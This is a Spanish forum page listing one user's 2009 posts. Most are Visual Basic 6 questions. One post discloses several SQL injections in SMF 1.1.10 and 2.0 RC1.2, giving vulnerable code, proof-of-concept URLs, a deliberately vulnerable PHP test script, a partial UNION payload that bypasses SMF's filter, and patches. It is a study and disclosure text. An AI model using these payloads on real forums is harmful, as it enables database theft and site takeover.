elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Temas
Páginas: 1 ... 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42
321  Programación / Programación Visual Basic / Unir dos variantes en una sola en: 15 Octubre 2009, 09:30 am
Hola, tengo una variante que es la que procesará todos los strings que hayan en el pero a su ves tengo hartas variantes que debo procesar de la misma forma por lo tanto quería saber como unir todas las variantes en una sola para despues procesarlas de una sola ves.

Gracias.
322  Seguridad Informática / Nivel Web / Nuevo diccionario de bugs y exploits en nivel en: 13 Octubre 2009, 05:21 am
Hola les dejo un nuevo diccionario que hize para los que no conocen mucho del tema o se les escapen algunos terminos:
http://foro.elhacker.net/nivel_web/diccionario_informatico_sobre_bugs_y_exploits_en_nivel_web_v10-t264007.0.html

Cualquier duda, pregunta, consulta, asportes, demandas pueden hacerlas acá.
323  Programación / Programación Visual Basic / Obtener el id del ultimo directorio creado en: 12 Octubre 2009, 21:16 pm
Hola, estoy haciendo un programa que guarda imagenes a un directorio, este directorio tiene un grupo de imagenes en directorios ordenados de forma numérica, por ejemplo:
imagenes/grupo1
imagenes/grupo2
imagenes/grupo3
imagenes/grupo4
etc..

el problema es que como puedo saber cual directorio corresponde después del último creado sabiendo que alguien puede modificar el nombre de algún directorio por x motivo imposibilitando utilizar las propiedades nativas de creación del directorio y evitando que el directorio 10 quede primero que el 1 y sabiendo que pueden haber directorios eliminados por lo tanto puede haber directorio 2, directorio 5, etc.

Como podría hacerlo?

Ya obtube todos los directorios de la ruta con una función que hize:

Archivos.bas
Código
  1. Public Function Obtener_Directorios(Ruta As String) As Variant
  2. Dim Directorio As String
  3. On Error Resume Next
  4. Directorio = Dir(Ruta, vbDirectory)
  5. While Directorio <> ""
  6.  Directorio = Dir
  7.  If Is_Dir(Ruta & Directorio) Then
  8.   Obtener_Directorios = Obtener_Directorios & Directorio & ","
  9.  End If
  10. Wend
  11. Obtener_Directorios = Split(Obtener_Directorios, ",")
  12. End Function

Pero ahora no se como ordenarlos de forma alfabetica y numérica  :P
324  Programación / Programación Visual Basic / Descargar todos los controles indexados en: 11 Octubre 2009, 01:22 am
Hola, estaba haciendo una función para poder descargar controles de forma automatizada pero al parecer no me resultó muy bien:

Supongamos que tengo el control text(index) y le hize load por cada item que necesitaba cargar y no precisamente en un orden numérico por lo tanto cuando quiera descargarlos despues no podría utilizar for id = 0 to text.count - 1 sino que tendría que utilizar un for each control in text pero lo hago en varios controles asi que me puse a hacer esta función:

Código
  1. Public Function Descarga_controles(Controles As Controls) As Boolean
  2. Dim Control_item As Control
  3. ' Comrpueba que hay mas de un control o sea por lo menos uno cargado
  4. If Controles.Count > 1 Then
  5.  ' Cuenta cada control cargado
  6.  For Each Control_item In Controles
  7.   ' Omite el control padre porque no puede ser eliminado
  8.   If Control_item.Index > 0 Then
  9.    Call Unload(Control_item)
  10.   End If
  11.  Next Control_item
  12.  Descarga_controles = True
  13. Else
  14.  ' No se descargaron los controles ya que no se encontró ninguno
  15.  Descarga_controles = False
  16. End If
  17. End Function
  18.  

después lo pasé por:
Código
  1. Call Descarga_controles(Check_visual) ' test
  2. MsgBox Check_visual.Count
  3. 'If Check_visual.Count > 1 Then
  4. ' For Cuenta = 1 To Check_visual.Count - 1
  5. '  Unload Check_visual(Cuenta)
  6. ' Next Cuenta
  7. 'End If

para poder testear y me lanzó error porque e grupo de controles checkbox no era de tipo controls.
Supuse que controls se referiría a controles varios indexados pero me equiboqué, tampoco puedo decirle controles as checkbox porque tambien necesito procesar textbox e image, etc y no es uno sino varios.

Como podría hacerlo en este caso?
325  Programación / Programación Visual Basic / coo saber si existe una variante? en: 10 Octubre 2009, 09:15 am
Hola, tengo un array de datos que varía por lo tanto lo hize variante.
Mas abajo en el código hize un loop para obtener cada variante y procesar los datos pero cuando la variante está vacia marcaría error por lo tanto le puse el siguiente código para verificar si realmente hay variante o no antes de procesar:

Código
  1. If UBound(Imagenes) = 0 Then
  2.  Estado_1.Caption = "No se han localizado imagenes"
  3.  Exit Function
  4. End If

Pero resulta que UBound solo procesa variantes o arrays existentes, por eso me da error cuando esta vacio, por o tanto esa verificación no me sirve.

Como lo puedo hacer?

Y aprovechando el mismo tema... como puedo saber si un control está cargado? por ejemplo image(6).picture como index de 6 sin tener que hacer un for each en cada verificación.

Supongo que habrá alguna función o algo que verifique si alguno de esos dos casos existe, en casoc ontrario tendría que hacer una funcion con un foreach y comenzar a verificar el index contra el valor del index a comprobar  :-\
326  Programación / Programación Visual Basic / como hacer webbrowser sin bordes? en: 9 Octubre 2009, 04:45 am
Hola, estaba utilizando el control webbroser para crear una presentación de imagenes redimensionadas pero el borde del control me descompone el resto del diseño del programa.
Como puedo darle otro borde? color o simplemente sacarlo?
327  Seguridad Informática / Nivel Web / Múltiples inyecciones SQL en SMF <= 1.1.10 y 2.0 <= RC1.2 en: 7 Octubre 2009, 11:12 am
Bueno,... encontré varias inyecciones SQL en SMF (Simple Machines Forum) en todas las versiones de SMF actuales (1.1.10 y 2.0 rc1.2) y versiones anteriores.

Antiguamente me la pasaba posteando bugs de este sistema WEB y les avisaba con anterioridad a los autores pero ni una sola ves me hicieron caso, tales como:
http://foro.elhacker.net/nivel_web/bug_en_smf_118_y_119-t255613.0.html
y otros mas por ahi xD

Por lo tanto esta ves no avisé ni avisaré tampoco, si quieren reparar el bug que vengan, lean, usen un traductor no se.

Estas fallas de seguridad ya están parchadas en este foro y en el mio xD pero les mostraré también como parcharlo.

Ínyección SQL remota I
Como dicen, el problema está entre el asiento y el teclado, basta con dar un vistazo al archivo Sources/ManageMembers.php linea 405 y 453:
Código
  1. // If the query information was already packed in the URL, decode it.
  2. // !!! Change this.
  3. elseif ($context['sub_action'] == 'query')
  4. $where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Código
  1. // Calculate the number of results.
  2. if (empty($where) or $where == '1')
  3. $num_members = $modSettings['totalMembers'];
  4. else{
  5. $request = db_query("
  6. SELECT COUNT(*)
  7. FROM {$db_prefix}members
  8. WHERE $where", __FILE__, __LINE__);
  9. list ($num_members) = mysql_fetch_row($request);
  10. mysql_free_result($request);
  11. }

Como me decía sdc este es el típico caso de "a mi me da flojera arreglarlo, que lo haga otro" ya que la falla es evidente e incluso está marcado por los propios programadores que debe ser cambiado, por lo tanto en alguna ocación supieron de este problema pero nunca lo terminaron de codear.

PoC:
Si vamos a la sección
http://127.0.0.1/smf/index.php?action=permissions
veremos varios grupos de usuarios y al costado derecho la cantidad de usuarios por cada grupo, ahora... ese enlace es un tanto espacial (especial) ya que si le damos click al primero tal como se ve en la imagen:


Veremos un enlace que nos lleva acá:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=SURfR1JPVVAgPSAw

Si analizamos el enlace podemos darnos cuenta de dos grandes detalles, el primero es que no nos solicita el token de seguridad "SC" por lo tanto esta url puede ejecutarse de forma arbitraria con tan solo redireccionar al que tenga acceso a esta sección para que se le ejecute y el segundo detalle es el valor de la variable "params", lo desciframos en base 64 y nos revela esto:

Citar
ID_GROUP = 0

Por lo tanto esa variable pasa a ser escrita directamente en la query MySQL sin token ni nada.

Si escribimos una comilla simple, lo ciframos en base64 y se lo ponemos en la url podremos ver esto:
http://127.0.0.1/smf/index.php?action=viewmembers;sa=query;params=Jw==


Esto ocurre porque SMF filtra cada petición POST y GET agregando slashses y cuanta cosa pero en este caso la petición va encapsulada en un cifrado de base64 asi que ese filtro se evade.
Este sistema que ellos implementan es seguro para la gente que hace mods ya que los filtros pasan por defecto en las peticiones pero el problema esque si encuentras un hueco como este puedes causarle un daño mayor al mismo sistema, no hacen querys seguras sino filtros seguros para proteger a los modulos pero para mi no me gusta, yo soy de la idea de crear códigos seguros y peticiones libres aunque como este es un sistema público creo que no quedaba otra ya que nunca se sabe como codean los terceros.

Por o tanto si queremos practicar para ver las posibilidades de una inyección + csrf para ver las posibilidades de actualizar perfiles, dumpear bases de datos, etc podemos practicar acá:
Código
  1. <?php
  2.  
  3. $inyeccion = $_GET['inyeccion'];
  4.  
  5. /* BUG */
  6. $handle = mysql_connect('localhost', 'root', '123456');
  7. mysql_select_db('smf', $handle);
  8. $request = mysql_query("SELECT COUNT(*) FROM smf_members WHERE $inyeccion");
  9. /* BUG */
  10.  
  11. if(!$request){
  12. echo 'Error ('.mysql_errno($handle).'): '.mysql_error($handle);
  13. }else{
  14. while($fila = mysql_fetch_array($request, MYSQL_ASSOC)){
  15.  $retorno[] = $fila;
  16. }
  17. mysql_free_result($request);
  18. print_r($retorno);
  19. }
  20.  
  21. mysql_close($handle);
  22. ?>

Se usa así: test.php?inyeccion= mi inyección acá
Y cuando tu inyección funcione bién podrás hacer el exploit (que aun no existe porque se supone que nadie mas lo conoce xD).

Ínyección SQL remota 2
Si buscamos patrones dentro del código fuente de SMF podemos darnos cuenta que esto se repite en tres partes mas que son:

Sources/ModLog.php linea 87
Sources/PersonalMessage.php linea 613 y 700
Sources/Search.php linea 81 y 311

sirdarckcat tenía razó cuando me dijo que probablemente estas otras secciones también podrían tener problemas de inyección SQL ya que me puse a testear los códigos y justamente si eran vulnerables.

La falla está en la sección de logs de moderación:
Sources/ModLog.php linea 84 al 92:
Código
  1. // If we're coming from a search, get the variables.
  2. if (isset($_REQUEST['params'])){
  3. $search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
  4. $search_params = @unserialize($search_params);
  5.  
  6. // To be sure, let's slash all the elements.
  7. foreach ($search_params as $key => $value)
  8. $search_params[$key] = addslashes($value);
  9. }

El mismo archivo en la linea 169:
Código
  1. // Count the amount of entries in total for pagination.
  2. $result = db_query("
  3. SELECT COUNT(*)
  4. FROM {$db_prefix}log_actions AS lm
  5. LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = lm.ID_MEMBER)
  6. LEFT JOIN {$db_prefix}membergroups AS mg ON (mg.ID_GROUP = IF(mem.ID_GROUP = 0, mem.ID_POST_GROUP, mem.ID_GROUP))" . (!empty($search_params['string']) ? "
  7. WHERE INSTR($search_params[type_sql], '$search_params[string]')" : ''), __FILE__, __LINE__);
  8. list ($context['entry_count']) = mysql_fetch_row($result);

Si se van a la sección de logs de moderación verán un pequeño buscador abajo, le ponen lo que sea y luego cuando aparezcan los resultados le hacen click en "Grupo" para ordenar los resultados por grupo y les aparecerá algo como esto:
http://127.0.0.1/smf/index.php?action=modlog;order=group;start=0;params=YTo0OntzOjY6InN0cmluZyI7czoyOiJsbCI7czo0OiJ0eXBlIjtzOjY6Im1lbWJlciI7czo4OiJ0eXBlX3NxbCI7czoxMjoibWVtLnJlYWxOYW1lIjtzOjEwOiJ0eXBlX2xhYmVsIjtzOjc6IlVzdWFyaW8iO30=

Déjà-vu... otraves sin token, por lo tanto es remoto.
Pasamos el valor params por la decodificación de base64 y encontramos este string:
Citar
a:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}
y nos damos cuenta que es un valor serializado por lo tanto:
Código
  1. <?php
  2. $string = 'a:4:{s:6:"string";s:2:"ll";s:4:"type";s:6:"member";s:8:"type_sql";s:12:"mem.realName";s:10:"type_label";s:7:"Usuario";}';
  3. print_r(unserialize($string));
  4. ?>

Resultado:
Citar
Array(
    [string] => ll
    [type] => member
    [type_sql] => mem.realName
    [type_label] => Usuario
)

Asi que ahora hacemos lo inverso pero con la inyección de prueba:
Código
  1. <?php
  2. $string = array(
  3.    "'" => "'",
  4.    'string' => "ll",
  5.    'type' => 'member',
  6.    'type_sql' => '\'mem.realName',
  7.    'type_label' => 'Usuario'
  8. );
  9.  
  10. echo base64_encode(serialize($string));
  11.  
  12. ?>

Resultado:


Ínyección SQL remota 3
En algunas inyecciones necesitabas la intervención de alguien que tuviera mas acceso que tu a menos que fueras de algún grupo de usuario que pudieras ver las secciones vulnerables, si eres usuario normal necesitabas lanzar un csrf para hacer caer al admin o a alguien con derechos sin la necesidad de que hiciera click en ninguna parte como por ejemplo poniendo la url de la inyeccion como imagen en tu perfil y listo pero en este caso esta tercera inyeccion SQL no necesitas ningún permiso especial ya que se encuentra en el archivo de mensajes personales del usuario.

Si vas a tu bandeja de entrada verás que al costado isquierdo tienes una opción para hacer busquedas de mensajes, haces una busqueda que de muchos resultados como por ehemplo "re" (respuestas a mensajes) o "sin" (sin asunto) y cuando te muestre todos los mensajes le haces click en ordenar por mensaje o autor y verás que se fabrica una variable GET llamada "param" que contiene un valor en base64 nuevamente pero esta ves no son datos serializados.

http://127.0.0.1/smf/index.php?action=pm;sa=search2;start=0;params=YWR2YW5jZWR8J3wxfCJ8c2VhcmNodHlwZXwnfDJ8InxzdWJqZWN0X29ubHl8J3x8InxzaG93X2NvbXBsZXRlfCd8fCJ8dXNlcnNwZWN8J3xXSEt8Inxzb3J0X2RpcnwnfGRlc2N8Inxzb3J0fCd8SURfUE18InxsYWJlbHN8J3wwLDEsMiwzLDQsNSwtMXwifHNlYXJjaHwnfHNpbg==

Te dará resultado esa codificación:
Citar
advanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

y el único vaor inyectable sin pasar por ningún tipo de filtro es "userspec" por lo tanto en ese lugar hacemos nuestra inyección pero tendrán varias complicaciones ya que SMF utiliza varios filtros como por ejemplo reemplazar comas, parentesis, asteriscos por porcentages, etc etc. pero primero les muestro donde está la falla antes de mostrarles como explotarlo.

Archivo Sources/PersonalMessage.php linea 613 y 700 donde se procesa en la linea 915 filtrado por Sources/Subs.php linea 238 en adelante y ejecutado en la linea 320:

Código
  1. $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));

Código
  1. // Get the amount of results.
  2. $request = db_query("
  3. SELECT COUNT(*)
  4. FROM ({$db_prefix}pm_recipients AS pmr, {$db_prefix}personal_messages AS pm)
  5. WHERE pm.ID_PM = pmr.ID_PM" . ($context['folder'] == 'inbox' ? "
  6. AND pmr.ID_MEMBER = $ID_MEMBER
  7. AND pmr.deleted = 0" : "
  8. AND pm.ID_MEMBER_FROM = $ID_MEMBER
  9. AND pm.deletedBySender = 0") . "
  10. $userQuery$labelQuery
  11. AND ($searchQuery)", __FILE__, __LINE__);
  12. list ($numResults) = mysql_fetch_row($request);
  13. mysql_free_result($request);

Código
  1. // We don't use UNION in SMF, at least so far.  But it's useful for injections.
  2. if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
  3. $fail = true;
  4. // Comments?  We don't use comments in our queries, we leave 'em outside!
  5. elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
  6. $fail = true;
  7. // Trying to change passwords, slow us down, or something?
  8. elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
  9. $fail = true;
  10. elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
  11. $fail = true;
  12. // Sub selects?  We don't use those either.
  13. elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
  14. $fail = true;

Bueno, ese filtro final es muy fácil de bypasear pero primero vamos a la estructuración de la inyección misma.

Para hacer nuestros test vamos al archivo subs/Subs.php linea 320 y donde dice:
Código
  1. $ret = mysql_query($db_string, $db_connection);
le ponemos:
Código
  1. /* TEST */
  2.    if(eregi('union', $db_string)){
  3.    echo nl2br($db_string).'<br /><br />';
  4. $ret = mysql_query($db_string, $db_connection);
  5. echo mysql_error($db_connection); // test
  6. while($fila = mysql_fetch_array($ret, MYSQL_ASSOC)){
  7.     foreach($fila as $variable => $valor){
  8.  echo nl2br(htmlspecialchars($variable, ENT_QUOTES).' = '.htmlspecialchars($valor, ENT_QUOTES).'<br /><br />');
  9. }
  10.    }
  11. //exit;
  12. }else{
  13. $ret = mysql_query($db_string, $db_connection);
  14. }
  15. /* TEST */

Con esto podremos capturar las inyecciones que intentaremos hacer.

Como ya habiamos dicho:
Citar
advanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|WHK|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|sin

Inyectamos así:
Citar
advanced|'|1|"|searchtype|'|2|"|subject_only|'||"|show_complete|'||"|userspec|'|whk') or pm.fromName like "|"|sort_dir|'|desc|"|sort|'|ID_PM|"|labels|'|0,1,2,3,4,5,-1|"|search|'|"/**/union/**/select/**/database(),user()/**/-- -
:xD :xD :xD
Ahora les explico este desmadre un poco...
Ciframos esto en base64 y se lo damos como param.
Primero que nada SMF filtra * por % asi que no podemos hacer la inyección completa en el nombre de usuario... hechemos un vistazo como queda la query inyectada:

Código
  1. SELECT COUNT(*)
  2. FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
  3. WHERE pm.ID_PM = pmr.ID_PM
  4. AND pmr.ID_MEMBER = 2
  5. AND pmr.deleted = 0
  6. AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#38;#039;) or pm.fromName like "')
  7.  
  8. AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))<br /><br />COUNT(*) = 0
  9.  
  10.  
  11.  
  12. SELECT pm.ID_PM, pm.ID_MEMBER_FROM
  13. FROM (smf_pm_recipients AS pmr, smf_personal_messages AS pm)
  14. WHERE pm.ID_PM = pmr.ID_PM
  15. AND pmr.ID_MEMBER = 2
  16.  
  17. AND pmr.deleted = 0
  18. AND pm.ID_MEMBER_FROM = 0 AND (pm.fromName LIKE 'whk&#38;#039;) or pm.fromName like "')
  19. AND ((pm.subject LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%' OR pm.body LIKE '%&quot;/**/union/**/select/**/database(),user()/**/--%'))
  20. ORDER BY ID_PM DESC
  21. LIMIT 0, 30
  22.  

Bueno, lo que hicimos (esta inyección me ayudó muchisimo sirdarckcat) es escapar la query con comilla simple y parentesis, luego para poder invalidad el codigo siguiente habia la posibilidad de inyectar con "\" pero se filtraba, los puntos tambien los filtraba asi que se inyectó con una comilla doble diciendo que el resto de la query era parte de un string hasta terminar en las proximas comillas dobles... luego viene nuestra segunda variable inyectada que es search y fms también filtra los espacios en blanco por lo tanto la inyección la hicimos con /**/ y "`" para invalidar la siguiente string y dejar libre unicamente la union.
Ahora este valor se va a otra query que es la query siguiente y a esa query le deve llegar dos columnas o el array con dos dimensiones donde el valor de la dimension debe contener el string con la siguiente inyección sq y esa inyección nos devolverá el resutado de la base de datos con el hash del password del admin o lo que sea.

La inyección está inconclusa ya que debes fabricar la segunda inyección para poder obtener el dato que necesitas.
en esta parte por rasones claras no doy la inyección completa para evitar un ataque masivo a foros por parte de gente que no sabe inyectar.

Códigos pendientes por reparar (posibles bugs)
Revisando un poco mas a fondo el código de SMF me di cuenta que hay una persona dentro de los que codean este sistema que se dedica solamente a revisar código y dejar marcado ciertas secciones con posibles fallas a reparar, luego se toman esas marcas y se reparan pero en este caso pude observar que no todas  esas marcas son reparadas y muchas quedan inconclusas como este mismo bug de la inyección sql.
Si se fijan el mensaje de advertencia comienza con un comentario
Código
  1. // !!! comentario

Por lo tanto si buscamos esta marca en todos los archivos de SMF podemos encontrar mas de 40 archivos afectados con 599 firmas haciendo una busqueda con grep y en muchos casos dice: cambiar esto, eliminar esto, posible bug acá, por implementar, etc etc. Tal como se ve en la imagen:



Consecuencias
Robo de sesiones, robo de la base de datos comleta del foro, puedes comprometer al servidor ya que teniendo la sesion del administrador puedes subir mods con shells y scripts, y control TOTAL del sitio web.

Soluciones
En el archivo Sources/ModLog.php linea 86 dice así:
Código
  1. $search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código
  1. // $search_params = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás la inyección SQL en la visualización de logs pero no podrás ordenar busquedas personalizadas con order by.

En el archivo Sources/ManageMembers.php linea 405 dice así:
Código
  1. $where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
debes comentarla para que quede así:
Código
  1. // $where = base64_decode(strtr($_REQUEST['params'], array(' ' => '+')));
Con esto evitarás una inyección SQL en la administración de usuarios pero no podrás ordenar busquedas  por nombre, contenido, etc aunque si aparecerán los resultados pero en su orden original nada mas.

En el archivo Sources/PersonalMessage.php linea 611 a la 613 dice así:
Código
  1.   if (isset($_REQUEST['params']))
  2.    {
  3.        $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
  4.        $context['search_params'] = array();
  5.        foreach ($temp_params as $i => $data)
  6.        {
  7.            @list ($k, $v) = explode('|\'|', $data);
  8.            $context['search_params'][$k] = stripslashes($v);
  9.        }
  10.    }
debes comentarla para que quede así:
Código
  1. /*
  2.     if (isset($_REQUEST['params']))
  3.     {
  4.         $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
  5.         $context['search_params'] = array();
  6.         foreach ($temp_params as $i => $data)
  7.         {
  8.             @list ($k, $v) = explode('|\'|', $data);
  9.             $context['search_params'][$k] = stripslashes($v);
  10.         }
  11.     }
  12. */
Con esto evitarás una inyección SQL en el buscador de mensajes personales aunque no podrán los usuarios ordenar busquedas por usuarios o mensajes, aunque de todas formas los mensajes aparecerán en el orden original como siempre.

En el archivo Sources/PersonalMessage.php linea 698 a la 706 dice así:
Código
  1.    if (isset($_REQUEST['params']))
  2.    {
  3.        $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
  4.        foreach ($temp_params as $i => $data)
  5.        {
  6.            @list ($k, $v) = explode('|\'|', $data);
  7.            $search_params[$k] = stripslashes($v);
  8.        }
  9.    }
debes comentarla para que quede así:
Código
  1. /*
  2.     if (isset($_REQUEST['params']))
  3.     {
  4.         $temp_params = explode('|"|', base64_decode(strtr($_REQUEST['params'], array(' ' => '+'))));
  5.         foreach ($temp_params as $i => $data)
  6.         {
  7.             @list ($k, $v) = explode('|\'|', $data);
  8.             $search_params[$k] = stripslashes($v);
  9.         }
  10.     }
  11. */
Con esto evitas la misma inyección anteriormente mensionada.

Es recomendable que cuando salgan las futuras actualizaciones vuelvas a dejar los archivos como estaban antes y despues lo actualizes para que no interfieran los codigos en las actualizaciones automaticas ya que ese script busca patrones para poder reemplazar. Haz una backup de los archivos a modificar y cuando vayas a instalar la actualización oficial vuelves a dejar los archivos como estaban antes. Está claro que para esto debes dejar el foro en modo de mantención para que nadie deje su bot listo esperando a que intentes actualizar para hacer la inyección en medio segundo xD

Y eso es tod.. eso es tod... eso es todo amigos.


Mirror
328  Programación / Programación Visual Basic / necesito desplegar un cuadro de dialogo para directorios en: 7 Octubre 2009, 05:20 am
Hola, estaba buscando algo como esto:



pero quería saber como hacer funcionar la api o funcion o lo que sea de forma nativa de windows ya que solamente encuentro formularios fabricados que no sirven de mucho.

Gracias.
329  Media / Diseño Gráfico / Necesito ayuda con uno o varios diseños en: 28 Septiembre 2009, 00:19 am
Hola k tal.

Bueno les explico primero como va el asunto antes de pedir algo... tengo un foro SMF y le hize unos retoques para poder poner un banner en la parte superior de cada sección del foro, así por ejemplo si alguien ingresa a la sección de php se le verá el banner de php y así (ejemplo), por ahora se lo puse a una sola sección para ver como quedaba pero se ve horrible xDD, no soy bueno para el diseño y bueno, ahora si....

Quería ver si por favor alguien tiene tiempo de sobra como para que me pueda ayudar porque yo ya he hecho varios diseños pero no me resulta ninguno.

Si alguien quiere ayudarme las dimensiones son de 927px de ancho por 125px de alto.

De antemano gracias otraves.
330  Programación / Programación Visual Basic / Bajar scrollbar de un control cualquiera en: 22 Septiembre 2009, 04:58 am
Hola, a veces he tenido un par de problemas con algunos controles de vb6, por ejemplo el webbrowser puedo hacerlo bajar de forma automática al ponerle contenido con
webbrowser.Document.body.scrollTop = webbrowser.Width

pero por ejemplo este es un cliente de chat para yahoo asi que el scroll cuando lleva demasiadas lineas queda a tope y despues hay que estar bajandolo manualmente.
También me pasa con los listview que por ejemplo a agregar una nueva fila me gustaría que bajara solo pero me encuentro con ejemplos de selecteditem y setfocus que al final si tengo el programa minimizaso se hará un desmadre o si quiero estar modificando otros textbos se me hará focus al listview y se seleccionará solo impidiendo poder visualizar las listas de mas arriba.

En fin... habrá alguna api o algo en el cual yo pueda darle un control en especifico y que me baje el scrollbar hasta al tope del final?

Si las rutinas de vb6 fueran de código libre uno podría modificar estas imperfecciones  :rolleyes:
Páginas: 1 ... 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines